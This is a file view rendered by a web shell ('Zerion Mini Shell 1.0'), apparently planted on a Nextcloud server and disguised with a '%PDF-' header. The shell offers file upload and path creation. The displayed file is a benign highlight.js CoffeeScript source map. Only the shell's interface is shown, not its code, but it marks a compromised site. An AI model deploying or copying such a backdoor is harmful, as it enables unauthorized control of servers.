%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/coffeescript-Cm1OxO4E.chunk.mjs.map

{"version":3,"file":"coffeescript-Cm1OxO4E.chunk.mjs","sources":["../node_modules/highlight.js/lib/languages/coffeescript.js"],"sourcesContent":["const KEYWORDS = [\n  \"as\", // for exports\n  \"in\",\n  \"of\",\n  \"if\",\n  \"for\",\n  \"while\",\n  \"finally\",\n  \"var\",\n  \"new\",\n  \"function\",\n  \"do\",\n  \"return\",\n  \"void\",\n  \"else\",\n  \"break\",\n  \"catch\",\n  \"instanceof\",\n  \"with\",\n  \"throw\",\n  \"case\",\n  \"default\",\n  \"try\",\n  \"switch\",\n  \"continue\",\n  \"typeof\",\n  \"delete\",\n  \"let\",\n  \"yield\",\n  \"const\",\n  \"class\",\n  // JS handles these with a special rule\n  // \"get\",\n  // \"set\",\n  \"debugger\",\n  \"async\",\n  \"await\",\n  \"static\",\n  \"import\",\n  \"from\",\n  \"export\",\n  \"extends\"\n];\nconst LITERALS = [\n  \"true\",\n  \"false\",\n  \"null\",\n  \"undefined\",\n  \"NaN\",\n  \"Infinity\"\n];\n\n// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects\nconst TYPES = [\n  // Fundamental objects\n  \"Object\",\n  \"Function\",\n  \"Boolean\",\n  \"Symbol\",\n  // numbers and dates\n  \"Math\",\n  \"Date\",\n  \"Number\",\n  \"BigInt\",\n  // text\n  \"String\",\n  \"RegExp\",\n  // Indexed collections\n  \"Array\",\n  \"Float32Array\",\n  \"Float64Array\",\n  \"Int8Array\",\n  \"Uint8Array\",\n  \"Uint8ClampedArray\",\n  \"Int16Array\",\n  \"Int32Array\",\n  \"Uint16Array\",\n  \"Uint32Array\",\n  \"BigInt64Array\",\n  \"BigUint64Array\",\n  // Keyed collections\n  \"Set\",\n  \"Map\",\n  \"WeakSet\",\n  \"WeakMap\",\n  // Structured data\n  \"ArrayBuffer\",\n  \"SharedArrayBuffer\",\n  \"Atomics\",\n  \"DataView\",\n  \"JSON\",\n  // Control abstraction objects\n  \"Promise\",\n  \"Generator\",\n  \"GeneratorFunction\",\n  \"AsyncFunction\",\n  // Reflection\n  \"Reflect\",\n  \"Proxy\",\n  // Internationalization\n  \"Intl\",\n  // WebAssembly\n  \"WebAssembly\"\n];\n\nconst ERROR_TYPES = [\n  \"Error\",\n  \"EvalError\",\n  \"InternalError\",\n  \"RangeError\",\n  \"ReferenceError\",\n  \"SyntaxError\",\n  \"TypeError\",\n  \"URIError\"\n];\n\nconst BUILT_IN_GLOBALS = [\n  \"setInterval\",\n  \"setTimeout\",\n  \"clearInterval\",\n  \"clearTimeout\",\n\n  \"require\",\n  \"exports\",\n\n  \"eval\",\n  \"isFinite\",\n  \"isNaN\",\n  \"parseFloat\",\n  \"parseInt\",\n  \"decodeURI\",\n  \"decodeURIComponent\",\n  \"encodeURI\",\n  \"encodeURIComponent\",\n  \"escape\",\n  \"unescape\"\n];\n\nconst BUILT_INS = [].concat(\n  BUILT_IN_GLOBALS,\n  TYPES,\n  ERROR_TYPES\n);\n\n/*\nLanguage: CoffeeScript\nAuthor: Dmytrii Nagirniak <dnagir@gmail.com>\nContributors: Oleg Efimov <efimovov@gmail.com>, Cédric Néhémie <cedric.nehemie@gmail.com>\nDescription: CoffeeScript is a programming language that transcompiles to JavaScript. For info about language see http://coffeescript.org/\nCategory: scripting\nWebsite: https://coffeescript.org\n*/\n\n\n/** @type LanguageFn */\nfunction coffeescript(hljs) {\n  const COFFEE_BUILT_INS = [\n    'npm',\n    'print'\n  ];\n  const COFFEE_LITERALS = [\n    'yes',\n    'no',\n    'on',\n    'off'\n  ];\n  const COFFEE_KEYWORDS = [\n    'then',\n    'unless',\n    'until',\n    'loop',\n    'by',\n    'when',\n    'and',\n    'or',\n    'is',\n    'isnt',\n    'not'\n  ];\n  const NOT_VALID_KEYWORDS = [\n    \"var\",\n    \"const\",\n    \"let\",\n    \"function\",\n    \"static\"\n  ];\n  const excluding = (list) =>\n    (kw) => !list.includes(kw);\n  const KEYWORDS$1 = {\n    keyword: KEYWORDS.concat(COFFEE_KEYWORDS).filter(excluding(NOT_VALID_KEYWORDS)),\n    literal: LITERALS.concat(COFFEE_LITERALS),\n    built_in: BUILT_INS.concat(COFFEE_BUILT_INS)\n  };\n  const JS_IDENT_RE = '[A-Za-z$_][0-9A-Za-z$_]*';\n  const SUBST = {\n    className: 'subst',\n    begin: /#\\{/,\n    end: /\\}/,\n    keywords: KEYWORDS$1\n  };\n  const EXPRESSIONS = [\n    hljs.BINARY_NUMBER_MODE,\n    hljs.inherit(hljs.C_NUMBER_MODE, { starts: {\n      end: '(\\\\s*/)?',\n      relevance: 0\n    } }), // a number tries to eat the following slash to prevent treating it as a regexp\n    {\n      className: 'string',\n      variants: [\n        {\n          begin: /'''/,\n          end: /'''/,\n          contains: [ hljs.BACKSLASH_ESCAPE ]\n        },\n        {\n          begin: /'/,\n          end: /'/,\n          contains: [ hljs.BACKSLASH_ESCAPE ]\n        },\n        {\n          begin: /\"\"\"/,\n          end: /\"\"\"/,\n          contains: [\n            hljs.BACKSLASH_ESCAPE,\n            SUBST\n          ]\n        },\n        {\n          begin: /\"/,\n          end: /\"/,\n          contains: [\n            hljs.BACKSLASH_ESCAPE,\n            SUBST\n          ]\n        }\n      ]\n    },\n    {\n      className: 'regexp',\n      variants: [\n        {\n          begin: '///',\n          end: '///',\n          contains: [\n            SUBST,\n            hljs.HASH_COMMENT_MODE\n          ]\n        },\n        {\n          begin: '//[gim]{0,3}(?=\\\\W)',\n          relevance: 0\n        },\n        {\n          // regex can't start with space to parse x / 2 / 3 as two divisions\n          // regex can't start with *, and it supports an \"illegal\" in the main mode\n          begin: /\\/(?![ *]).*?(?![\\\\]).\\/[gim]{0,3}(?=\\W)/ }\n      ]\n    },\n    { begin: '@' + JS_IDENT_RE // relevance booster\n    },\n    {\n      subLanguage: 'javascript',\n      excludeBegin: true,\n      excludeEnd: true,\n      variants: [\n        {\n          begin: '```',\n          end: '```'\n        },\n        {\n          begin: '`',\n          end: '`'\n        }\n      ]\n    }\n  ];\n  SUBST.contains = EXPRESSIONS;\n\n  const TITLE = hljs.inherit(hljs.TITLE_MODE, { begin: JS_IDENT_RE });\n  const POSSIBLE_PARAMS_RE = '(\\\\(.*\\\\)\\\\s*)?\\\\B[-=]>';\n  const PARAMS = {\n    className: 'params',\n    begin: '\\\\([^\\\\(]',\n    returnBegin: true,\n    /* We need another contained nameless mode to not have every nested\n    pair of parens to be called \"params\" */\n    contains: [\n      {\n        begin: /\\(/,\n        end: /\\)/,\n        keywords: KEYWORDS$1,\n        contains: [ 'self' ].concat(EXPRESSIONS)\n      }\n    ]\n  };\n\n  const CLASS_DEFINITION = {\n    variants: [\n      { match: [\n        /class\\s+/,\n        JS_IDENT_RE,\n        /\\s+extends\\s+/,\n        JS_IDENT_RE\n      ] },\n      { match: [\n        /class\\s+/,\n        JS_IDENT_RE\n      ] }\n    ],\n    scope: {\n      2: \"title.class\",\n      4: \"title.class.inherited\"\n    },\n    keywords: KEYWORDS$1\n  };\n\n  return {\n    name: 'CoffeeScript',\n    aliases: [\n      'coffee',\n      'cson',\n      'iced'\n    ],\n    keywords: KEYWORDS$1,\n    illegal: /\\/\\*/,\n    contains: [\n      ...EXPRESSIONS,\n      hljs.COMMENT('###', '###'),\n      hljs.HASH_COMMENT_MODE,\n      {\n        className: 'function',\n        begin: '^\\\\s*' + JS_IDENT_RE + '\\\\s*=\\\\s*' + POSSIBLE_PARAMS_RE,\n        end: '[-=]>',\n        returnBegin: true,\n        contains: [\n          TITLE,\n          PARAMS\n        ]\n      },\n      {\n        // anonymous function start\n        begin: /[:\\(,=]\\s*/,\n        relevance: 0,\n        contains: [\n          {\n            className: 'function',\n            begin: POSSIBLE_PARAMS_RE,\n            end: '[-=]>',\n            returnBegin: true,\n            contains: [ PARAMS ]\n          }\n        ]\n      },\n      CLASS_DEFINITION,\n      {\n        begin: JS_IDENT_RE + ':',\n        end: ':',\n        returnBegin: true,\n        returnEnd: true,\n        relevance: 0\n      }\n    ]\n  };\n}\n\nmodule.exports = coffeescript;\n"],"names":["KEYWORDS","LITERALS","TYPES","ERROR_TYPES","BUILT_IN_GLOBALS","BUILT_INS","coffeescript","hljs","COFFEE_BUILT_INS","COFFEE_LITERALS","COFFEE_KEYWORDS","NOT_VALID_KEYWORDS","excluding","list","kw","KEYWORDS$1","JS_IDENT_RE","SUBST","EXPRESSIONS","TITLE","POSSIBLE_PARAMS_RE","PARAMS","CLASS_DEFINITION","coffeescript_1"],"mappings":";4YAAA,MAAMA,EAAW,CACf,KACA,KACA,KACA,KACA,MACA,QACA,UACA,MACA,MACA,WACA,KACA,SACA,OACA,OACA,QACA,QACA,aACA,OACA,QACA,OACA,UACA,MACA,SACA,WACA,SACA,SACA,MACA,QACA,QACA,QAIA,WACA,QACA,QACA,SACA,SACA,OACA,SACA,SACF,EACMC,EAAW,CACf,OACA,QACA,OACA,YACA,MACA,UACF,EAGMC,EAAQ,CAEZ,SACA,WACA,UACA,SAEA,OACA,OACA,SACA,SAEA,SACA,SAEA,QACA,eACA,eACA,YACA,aACA,oBACA,aACA,aACA,cACA,cACA,gBACA,iBAEA,MACA,MACA,UACA,UAEA,cACA,oBACA,UACA,WACA,OAEA,UACA,YACA,oBACA,gBAEA,UACA,QAEA,OAEA,aACF,EAEMC,EAAc,CAClB,QACA,YACA,gBACA,aACA,iBACA,cACA,YACA,UACF,EAEMC,EAAmB,CACvB,cACA,aACA,gBACA,eAEA,UACA,UAEA,OACA,WACA,QACA,aACA,WACA,YACA,qBACA,YACA,qBACA,SACA,UACF,EAEMC,EAAY,CAAE,EAAC,OACnBD,EACAF,EACAC,CACF,EAaA,SAASG,EAAaC,EAAM,CAC1B,MAAMC,EAAmB,CACvB,MACA,OACJ,EACQC,EAAkB,CACtB,MACA,KACA,KACA,KACJ,EACQC,EAAkB,CACtB,OACA,SACA,QACA,OACA,KACA,OACA,MACA,KACA,KACA,OACA,KACJ,EACQC,EAAqB,CACzB,MACA,QACA,MACA,WACA,QACJ,EACQC,EAAaC,GAChBC,GAAO,CAACD,EAAK,SAASC,CAAE,EACrBC,EAAa,CACjB,QAASf,EAAS,OAAOU,CAAe,EAAE,OAAOE,EAAUD,CAAkB,CAAC,EAC9E,QAASV,EAAS,OAAOQ,CAAe,EACxC,SAAUJ,EAAU,OAAOG,CAAgB,CAC/C,EACQQ,EAAc,2BACdC,EAAQ,CACZ,UAAW,QACX,MAAO,MACP,IAAK,KACL,SAAUF,CACd,EACQG,EAAc,CAClBX,EAAK,mBACLA,EAAK,QAAQA,EAAK,cAAe,CAAE,OAAQ,CACzC,IAAK,WACL,UAAW,CACjB,EAAO,EACH,CACE,UAAW,SACX,SAAU,CACR,CACE,MAAO,MACP,IAAK,MACL,SAAU,CAAEA,EAAK,gBAAkB,CACpC,EACD,CACE,MAAO,IACP,IAAK,IACL,SAAU,CAAEA,EAAK,gBAAkB,CACpC,EACD,CACE,MAAO,MACP,IAAK,MACL,SAAU,CACRA,EAAK,iBACLU,CACD,CACF,EACD,CACE,MAAO,IACP,IAAK,IACL,SAAU,CACRV,EAAK,iBACLU,CACD,CACF,CACF,CACF,EACD,CACE,UAAW,SACX,SAAU,CACR,CACE,MAAO,MACP,IAAK,MACL,SAAU,CACRA,EACAV,EAAK,iBACN,CACF,EACD,CACE,MAAO,sBACP,UAAW,CACZ,EACD,CAGE,MAAO,0CAA4C,CACtD,CACF,EACD,CAAE,MAAO,IAAMS,CACd,EACD,CACE,YAAa,aACb,aAAc,GACd,WAAY,GACZ,SAAU,CACR,CACE,MAAO,MACP,IAAK,KACN,EACD,CACE,MAAO,IACP,IAAK,GACN,CACF,CACF,CACL,EACEC,EAAM,SAAWC,EAEjB,MAAMC,EAAQZ,EAAK,QAAQA,EAAK,WAAY,CAAE,MAAOS,CAAW,CAAE,EAC5DI,EAAqB,0BACrBC,EAAS,CACb,UAAW,SACX,MAAO,YACP,YAAa,GAGb,SAAU,CACR,CACE,MAAO,KACP,IAAK,KACL,SAAUN,EACV,SAAU,CAAE,QAAS,OAAOG,CAAW,CACxC,CACF,CACL,EAEQI,EAAmB,CACvB,SAAU,CACR,CAAE,MAAO,CACP,WACAN,EACA,gBACAA,CACR,CAAS,EACH,CAAE,MAAO,CACP,WACAA,CACR,CAAS,CACJ,EACD,MAAO,CACL,EAAG,cACH,EAAG,uBACJ,EACD,SAAUD,CACd,EAEE,MAAO,CACL,KAAM,eACN,QAAS,CACP,SACA,OACA,MACD,EACD,SAAUA,EACV,QAAS,OACT,SAAU,CACR,GAAGG,EACHX,EAAK,QAAQ,MAAO,KAAK,EACzBA,EAAK,kBACL,CACE,UAAW,WACX,MAAO,QAAUS,EAAc,YAAcI,EAC7C,IAAK,QACL,YAAa,GACb,SAAU,CACRD,EACAE,CACD,CACF,EACD,CAEE,MAAO,aACP,UAAW,EACX,SAAU,CACR,CACE,UAAW,WACX,MAAOD,EACP,IAAK,QACL,YAAa,GACb,SAAU,CAAEC,CAAQ,CACrB,CACF,CACF,EACDC,EACA,CACE,MAAON,EAAc,IACrB,IAAK,IACL,YAAa,GACb,UAAW,GACX,UAAW,CACZ,CACF,CACL,CACA,CAEA,IAAAO,EAAiBjB","x_google_ignoreList":[0]}

Zerion Mini Shell 1.0